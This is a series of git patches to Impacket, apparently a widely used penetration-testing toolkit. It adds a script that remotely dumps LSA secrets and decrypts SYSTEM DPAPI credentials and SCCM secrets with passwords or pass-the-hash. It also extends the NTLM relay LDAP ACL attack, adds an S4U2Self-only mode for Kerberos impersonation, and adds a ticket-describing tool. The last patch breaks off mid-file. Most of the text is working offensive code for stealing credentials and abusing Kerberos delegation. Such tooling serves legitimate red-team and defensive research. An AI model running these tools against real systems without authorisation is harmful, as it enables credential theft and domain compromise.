From 755efbffc7bd54c9dcf33d7c5e04038801fd3225 Mon Sep 17 00:00:00 2001 From: cla Date: Tue, 3 Aug 2021 16:02:52 +0200 Subject: [PATCH 001/163] Added SystemDPAPIdump.py example --- examples/SystemDPAPIdump.py | 436 ++++++++++++++++++++++++++++++++++++ 1 file changed, 436 insertions(+) create mode 100644 examples/SystemDPAPIdump.py diff --git a/examples/SystemDPAPIdump.py b/examples/SystemDPAPIdump.py new file mode 100644 index 000000000..9091a0c20 --- /dev/null +++ b/examples/SystemDPAPIdump.py @@ -0,0 +1,436 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Automates extraction of DPAPI credentials for the SYSTEM user on a remote host +# +# Authors: +# Alberto Solino (@agsolino) +# Clement Lavoillotte (@clavoillotte) +# +from __future__ import division +from __future__ import print_function +import argparse +import codecs +import logging +import os +import sys +import ntpath +from binascii import unhexlify, hexlify +from io import BytesIO + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_target + +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY + +from impacket.smbconnection import SMBConnection + +from impacket.dpapi import MasterKeyFile, MasterKey, CredentialFile, DPAPI_BLOB, CREDENTIAL_BLOB +from impacket.uuid import bin_to_string + +from impacket.examples.secretsdump import RemoteOperations, LSASecrets + +from impacket.krb5.keytab import Keytab +try: + input = raw_input +except NameError: + pass + +class DumpCreds: + def __init__(self, remoteName, username='', password='', domain='', options=None): + self.__remoteName = remoteName + self.__remoteHost = options.target_ip + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = options.aesKey + self.__smbConnection = None + self.__remoteOps = None + self.__LSASecrets = None + self.__userkey = options.userkey + self.__noLMHash = True + self.__isRemote = True + self.__doKerberos = options.k + self.__dumpLSA = (options.userkey is None) + self.__kdcHost = options.dc_ip + self.__options = options + self.key = None + self.raw_sccm_blobs = [] + self.raw_credentials = {} + self.raw_masterkeys = {} + self.masterkeys = {} + self.get_sccm = options.all or options.sccm + self.get_creds = options.all or options.creds + + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + def connect(self): + self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) + if self.__doKerberos: + self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey, self.__kdcHost) + else: + self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + + def getDPAPI_SYSTEM(self, secretType, secret): + if secret.startswith("dpapi_machinekey:"): + machineKey, userKey = secret.split('\n') + userKey = userKey.split(':')[1] + self.key = unhexlify(userKey[2:]) + + def getFileContent(self, share, path, filename): + content = None + try: + fh = BytesIO() + filepath = ntpath.join(path,filename) + self.__smbConnection.getFile(share, filepath, fh.write) + content = fh.getvalue() + fh.close() + except: + return None + return content + + def addPolicySecret(self, secret): + if secret.startswith(" 0: + logging.error("Masterkey file " + k + " does not contain a masterkey") + continue + mk = MasterKey(data[:mkf['MasterKeyLen']]) + data = data[len(mk):] + decryptedKey = mk.decrypt(self.key) + if not decryptedKey: + logging.error("Could not decrypt masterkey " + k) + continue + logging.info("Decrypted masterkey " + k + ": 0x" + hexlify(decryptedKey).decode('utf-8')) + self.masterkeys[k] = decryptedKey + i = -1 + for v in self.raw_sccm_blobs: + i += 1 + blob = DPAPI_BLOB(v) + mkid = bin_to_string(blob['GuidMasterKey']) + key = self.masterkeys.get(mkid, None) + if key is None: + logging.info("Could not decrypt masterkey " + mkid + ", skipping SCCM secret " + str(i)) + continue + logging.info("Decrypting SCCM secret " + str(i)) + decrypted = blob.decrypt(key) + if decrypted is not None: + print(decrypted.decode('utf-16le')) + else: + logging.error("Could not decrypt SCCM secret " + + str(i)) + for k,v in self.raw_credentials.items(): + cred = CredentialFile(v) + blob = DPAPI_BLOB(cred['Data']) + mkid = bin_to_string(blob['GuidMasterKey']) + key = self.masterkeys.get(mkid, None) + if key is None: + logging.info("Could not decrypt masterkey " + mkid + ", skipping credential " + k) + continue + logging.info("Decrypting credential " + k) + decrypted = blob.decrypt(key) + if decrypted is not None: + creds = CREDENTIAL_BLOB(decrypted) + creds.dump() + else: + logging.error("Could not decrypt credential file " + k) + + + def cleanup(self): + logging.info('Cleaning up... ') + if self.__remoteOps: + self.__remoteOps.finish() + if self.__LSASecrets: + self.__LSASecrets.finish() + + +# Process command-line arguments. +if __name__ == '__main__': + # Explicitly changing the stdout encoding format + if sys.stdout.encoding is None: + # Output is redirected to a file + sys.stdout = codecs.getwriter('utf8')(sys.stdout) + + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "Performs remote extraction of SYSTEM DPAPI credentials and SCCM client secrets.") + + parser.add_argument('-creds', action='store_true', help='Extract SYSTEM user DPAPI credentials (default: all)') + parser.add_argument('-sccm', action='store_true', help='Extract SCCM client credentials (default: all)') + parser.add_argument('-userkey', action='store', help='dpapi_userkey for SYSTEM (e.g. if previously dumped using secretsdump). ' + 'If not provided an LSA secrets dump will be performed to retrieve it.') + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-com-version', action='store', metavar = "MAJOR_VERSION:MINOR_VERSION", help='DCOM version, ' + 'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7') + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use' + ' the ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication' + ' (128 or 256 bits)') + group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') + group.add_argument('-rpc-auth-level', choices=['integrity', 'privacy','default'], nargs='?', default='default', + help='default, integrity (RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) or privacy ' + '(RPC_C_AUTHN_LEVEL_PKT_PRIVACY). For example CIM path "root/MSCluster" would require ' + 'privacy level by default)') + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, address = parse_target(options.target) + + if options.target_ip is None: + options.target_ip = address + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + if options.keytab is not None: + Keytab.loadKeysFromKeytab(options.keytab, username, domain, options) + options.k = True + + if options.hashes is not None: + lmhash, nthash = options.hashes.split(':') + else: + lmhash = '' + nthash = '' + + if options.com_version is not None: + try: + major_version, minor_version = options.com_version.split('.') + COMVERSION.set_default_version(int(major_version), int(minor_version)) + except Exception: + logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"") + sys.exit(1) + + options.all = (options.sccm is False and options.creds is False) + + dumper = DumpCreds(address, username, password, domain, options) + try: + dumper.dump() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(e) From a39d8db4b29f40a040cdae17ca8d8a2e6b62eccc Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 13 Sep 2021 16:36:52 +0200 Subject: [PATCH 002/163] Patching SID query of the incoming user --- impacket/examples/ntlmrelayx/attacks/ldapattack.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 2ac7e8966..dd4edff83 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -300,8 +300,8 @@ def aclAttack(self, userDn, domainDumper): # Dictionary for restore data restoredata = {} - # Query for the sid of our user - self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) + # Query for the sid of our incoming account (can be a user or a computer in case of a newly creation computer account (i.e. MachineAccountQuot abuse) + self.client.search(userDn, '(objectCategory=*)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value From 48adfe3e27459f5de7a995e88bb31ecb3a3acd1a Mon Sep 17 00:00:00 2001 From: Shutdown Date: Wed, 13 Oct 2021 15:56:17 +0200 Subject: [PATCH 003/163] Added user filter and changed a string --- examples/findDelegation.py | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/examples/findDelegation.py b/examples/findDelegation.py index edd7d761c..bd6be60be 100755 --- a/examples/findDelegation.py +++ b/examples/findDelegation.py @@ -58,6 +58,7 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption self.__password = password self.__domain = user_domain self.__targetDomain = target_domain + self.__requestUser = cmdLineOptions.user self.__lmhash = '' self.__nthash = '' self.__aesKey = cmdLineOptions.aesKey @@ -132,7 +133,12 @@ def run(self): searchFilter = "(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=" \ "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" \ - "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(UserAccountControl:1.2.840.113556.1.4.803:=8192)))" + "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(UserAccountControl:1.2.840.113556.1.4.803:=8192))" + + if self.__requestUser is not None: + searchFilter += '(sAMAccountName:=%s))' % self.__requestUser + else: + searchFilter += ')' try: resp = ldapConnection.search(searchFilter=searchFilter, @@ -182,7 +188,7 @@ def run(self): objectType = str(attribute['vals'][0]).split('=')[1].split(',')[0] elif str(attribute['type']) == 'msDS-AllowedToDelegateTo': if protocolTransition == 0: - delegation = 'Constrained' + delegation = 'Constrained w/o Protocol Transition' for delegRights in attribute['vals']: rightsTo.append(str(delegRights)) @@ -210,7 +216,7 @@ def run(self): answers.append([rights, objType, 'Resource-Based Constrained', sAMAccountName]) #print unconstrained + constrained delegation relationships - if delegation in ['Unconstrained', 'Constrained', 'Constrained w/ Protocol Transition']: + if delegation in ['Unconstrained', 'Constrained w/o Protocol Transition', 'Constrained w/ Protocol Transition']: if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) @@ -239,6 +245,7 @@ def run(self): parser.add_argument('target', action='store', help='domain/username[:password]') parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. ' 'Allows for retrieving delegation info across trusts.') + parser.add_argument('-user', action='store', help='Requests data for specific user') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') From 52762305b2e659813bbf8876ea3112d728425f9d Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 25 Oct 2021 17:43:06 +0200 Subject: [PATCH 004/163] Adding describeTicket base --- examples/describeTicket.py | 106 +++++++++++++++++++++++++++++++++++++ 1 file changed, 106 insertions(+) create mode 100755 examples/describeTicket.py diff --git a/examples/describeTicket.py b/examples/describeTicket.py new file mode 100755 index 000000000..71a93c7cf --- /dev/null +++ b/examples/describeTicket.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Python script that describes the values of the ticket (TGT or Service Ticket). +# +# Authors: +# Remi Gascou (@podalirius_) +# Charlie Bromberg (@_nwodtuhs) + + + +import argparse +import logging +import sys +import traceback +import argparse +import os +import re +from binascii import unhexlify + +from impacket.krb5.ccache import CCache +from impacket.krb5.kerberosv5 import KerberosError +from impacket.krb5 import constants +from impacket import version +from impacket.examples import logger, utils +from datetime import datetime +from impacket.krb5 import crypto, constants, types +import base64 + +def parse_ccache(ticketfile): + ccache = CCache.loadFile(ticketfile) + for creds in ccache.credentials: + logging.info("%-25s: %s" % ("UserName", creds['client'].prettyPrint().split(b'@')[0].decode('utf-8'))) + logging.info("%-25s: %s" % ("UserRealm", creds['client'].prettyPrint().split(b'@')[1].decode('utf-8'))) + logging.info("%-25s: %s" % ("ServiceName", creds['server'].prettyPrint().split(b'@')[0].decode('utf-8'))) + logging.info("%-25s: %s" % ("ServiceRealm", creds['server'].prettyPrint().split(b'@')[1].decode('utf-8'))) + logging.info("%-25s: %s" % ("StartTime", datetime.fromtimestamp(creds['time']['starttime']).strftime("%d/%m/%Y %H:%H:%S %p"))) + logging.info("%-25s: %s" % ("EndTime", datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%H:%S %p"))) + logging.info("%-25s: %s" % ("RenewTill", datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%H:%S %p"))) + flags = [] + for k in constants.TicketFlags: + if ((creds['tktflags'] >> (31 - k.value)) & 1) == 1: + flags.append(constants.TicketFlags(k.value).name) + logging.info("%-25s: (0x%x) %s" % ("Flags", creds['tktflags'], ", ".join(flags))) + logging.info("%-25s: %s" % ("KeyType", constants.EncryptionTypes(creds["key"]["keytype"]).name)) + logging.info("%-25s: %s" % ("Base64(key)", base64.b64encode(creds["key"]["keyvalue"]).decode("utf-8"))) + + +def parse_args(): + parser = argparse.ArgumentParser(add_help=True, description='Ticket describor') + + parser.add_argument('ticket', action='store', help='Path to ticket.ccache') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + + # Authentication arguments + group = parser.add_argument_group('Kerberos Keys (of your account with unconstrained delegation)') + group.add_argument('-p', '--krbpass', action="store", metavar="PASSWORD", help='Account password') + group.add_argument('-hp', '--krbhexpass', action="store", metavar="HEXPASSWORD", help='Hex-encoded password') + group.add_argument('-s', '--krbsalt', action="store", metavar="USERNAME", help='Case sensitive (!) salt. Used to calculate Kerberos keys.' + 'Only required if specifying password instead of keys.') + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + args = parser.parse_args() + return args + + +def init_logger(args): + # Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + + try: + parse_ccache(args.ticket) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.error(str(e)) + +if __name__ == '__main__': + main() + From 71f658636c53b547401881d0b08da81eb70a0e94 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 25 Oct 2021 17:44:58 +0200 Subject: [PATCH 005/163] Adding "only S4U2Self" switch --- examples/getST.py | 181 ++++++++++++++++++++++++---------------------- 1 file changed, 96 insertions(+), 85 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index fa536ff1f..998480136 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -79,6 +79,7 @@ def __init__(self, target, password, domain, options): self.__force_forwardable = options.force_forwardable self.__additional_ticket = options.additional_ticket self.__saveFileName = None + self.__no_s4u2proxy = options.no_s4u2proxy if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') @@ -502,120 +503,129 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) # put it back in the TGS tgs['ticket']['enc-part']['cipher'] = cipherText - ################################################################################ - # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy - # So here I have a ST for me.. I now want a ST for another service - # Extract the ticket from the TGT - ticketTGT = Ticket() - ticketTGT.from_asn1(decodedTGT['ticket']) + if self.__no_s4u2proxy: + cipherText = tgs['enc-part']['cipher'] + plainText = cipher.decrypt(sessionKey, 8, cipherText) + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] + return r, cipher, sessionKey, newSessionKey + else: + ################################################################################ + # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy + # So here I have a ST for me.. I now want a ST for another service + # Extract the ticket from the TGT + ticketTGT = Ticket() + ticketTGT.from_asn1(decodedTGT['ticket']) - # Get the service ticket - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) + # Get the service ticket + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticketTGT.to_asn1) + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticketTGT.to_asn1) - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = str(decodedTGT['crealm']) + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) - clientName = Principal() - clientName.from_asn1(decodedTGT, 'crealm', 'cname') + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') - seq_set(authenticator, 'cname', clientName.components_to_asn1) + seq_set(authenticator, 'cname', clientName.components_to_asn1) - now = datetime.datetime.utcnow() - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) - encodedAuthenticator = encoder.encode(authenticator) + encodedAuthenticator = encoder.encode(authenticator) - # Key Usage 7 - # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes - # TGS authenticator subkey), encrypted with the TGS session - # key (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - encodedApReq = encoder.encode(apReq) + encodedApReq = encoder.encode(apReq) - tgsReq = TGS_REQ() + tgsReq = TGS_REQ() - tgsReq['pvno'] = 5 - tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - tgsReq['padata'] = noValue - tgsReq['padata'][0] = noValue - tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq['padata'][0]['padata-value'] = encodedApReq + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq - # Add resource-based constrained delegation support - paPacOptions = PA_PAC_OPTIONS() - paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) + # Add resource-based constrained delegation support + paPacOptions = PA_PAC_OPTIONS() + paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) - tgsReq['padata'][1] = noValue - tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value - tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) + tgsReq['padata'][1] = noValue + tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value + tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) - reqBody = seq_set(tgsReq, 'req-body') + reqBody = seq_set(tgsReq, 'req-body') - opts = list() - # This specified we're doing S4U - opts.append(constants.KDCOptions.cname_in_addl_tkt.value) - opts.append(constants.KDCOptions.canonicalize.value) - opts.append(constants.KDCOptions.forwardable.value) - opts.append(constants.KDCOptions.renewable.value) + opts = list() + # This specified we're doing S4U + opts.append(constants.KDCOptions.cname_in_addl_tkt.value) + opts.append(constants.KDCOptions.canonicalize.value) + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) - reqBody['kdc-options'] = constants.encodeFlags(opts) - service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) - seq_set(reqBody, 'sname', service2.components_to_asn1) - reqBody['realm'] = self.__domain + reqBody['kdc-options'] = constants.encodeFlags(opts) + service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + seq_set(reqBody, 'sname', service2.components_to_asn1) + reqBody['realm'] = self.__domain - myTicket = ticket.to_asn1(TicketAsn1()) - seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) + myTicket = ticket.to_asn1(TicketAsn1()) + seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) - now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) - reqBody['till'] = KerberosTime.to_asn1(now) - reqBody['nonce'] = random.getrandbits(31) - seq_set_iter(reqBody, 'etype', - ( - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), - int(constants.EncryptionTypes.des_cbc_md5.value), - int(cipher.enctype) - ) - ) - message = encoder.encode(tgsReq) + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) + message = encoder.encode(tgsReq) - logging.info('\tRequesting S4U2Proxy') - r = sendReceive(message, self.__domain, kdcHost) + logging.info('\tRequesting S4U2Proxy') + r = sendReceive(message, self.__domain, kdcHost) - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - cipherText = tgs['enc-part']['cipher'] + cipherText = tgs['enc-part']['cipher'] - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] - return r, cipher, sessionKey, newSessionKey + return r, cipher, sessionKey, newSessionKey def run(self): @@ -693,6 +703,7 @@ def run(self): parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-no-s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' 'specified -identity should be provided. This allows impresonation of protected users ' From 224901d781c58b806d19ad5504b7d3de080f4b9c Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 25 Oct 2021 17:59:20 +0200 Subject: [PATCH 006/163] Changing getST header to python3 --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 998480136..e15e28865 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. From eba8475ab2e06e7dda8977f5d73ddaeb6e438957 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Tue, 26 Oct 2021 09:23:36 +0200 Subject: [PATCH 007/163] SPN argument optional when No S4U2Proxy is done If `-self` (== no S4U2Proxy) is set, the `-spn` is now optional. If SPN is set, the S4U2Self request is made for that SPN. Else, the SPN is set to the requesting user --- examples/getST.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index e15e28865..6df352271 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -402,7 +402,10 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) + if self.__no_s4u2proxy and self.__options.spn is not None: + serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_UNKNOWN.value) + else: + serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) @@ -694,7 +697,7 @@ def run(self): parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' + parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' 'service ticket will' ' be generated for') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' @@ -703,7 +706,7 @@ def run(self): parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-no-s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') + parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' 'specified -identity should be provided. This allows impresonation of protected users ' @@ -730,6 +733,9 @@ def run(self): options = parser.parse_args() + if not options.no_s4u2proxy and options.spn is None: + parser.error("argument -spn is required, except when -self is set") + # Init the example's logger theme logger.init(options.ts) From 09717a61402544f62456d710d34bc674e3f3bd8b Mon Sep 17 00:00:00 2001 From: Shutdown Date: Tue, 26 Oct 2021 17:24:33 +0200 Subject: [PATCH 008/163] Started implementing Ticket decryption --- examples/describeTicket.py | 253 +++++++++++++++++++++++++++++++++---- 1 file changed, 227 insertions(+), 26 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 71a93c7cf..4ff467f6f 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -14,44 +14,245 @@ # Remi Gascou (@podalirius_) # Charlie Bromberg (@_nwodtuhs) - - -import argparse import logging import sys import traceback import argparse -import os -import re -from binascii import unhexlify - -from impacket.krb5.ccache import CCache -from impacket.krb5.kerberosv5 import KerberosError -from impacket.krb5 import constants -from impacket import version -from impacket.examples import logger, utils +from Cryptodome.Hash import MD4 from datetime import datetime -from impacket.krb5 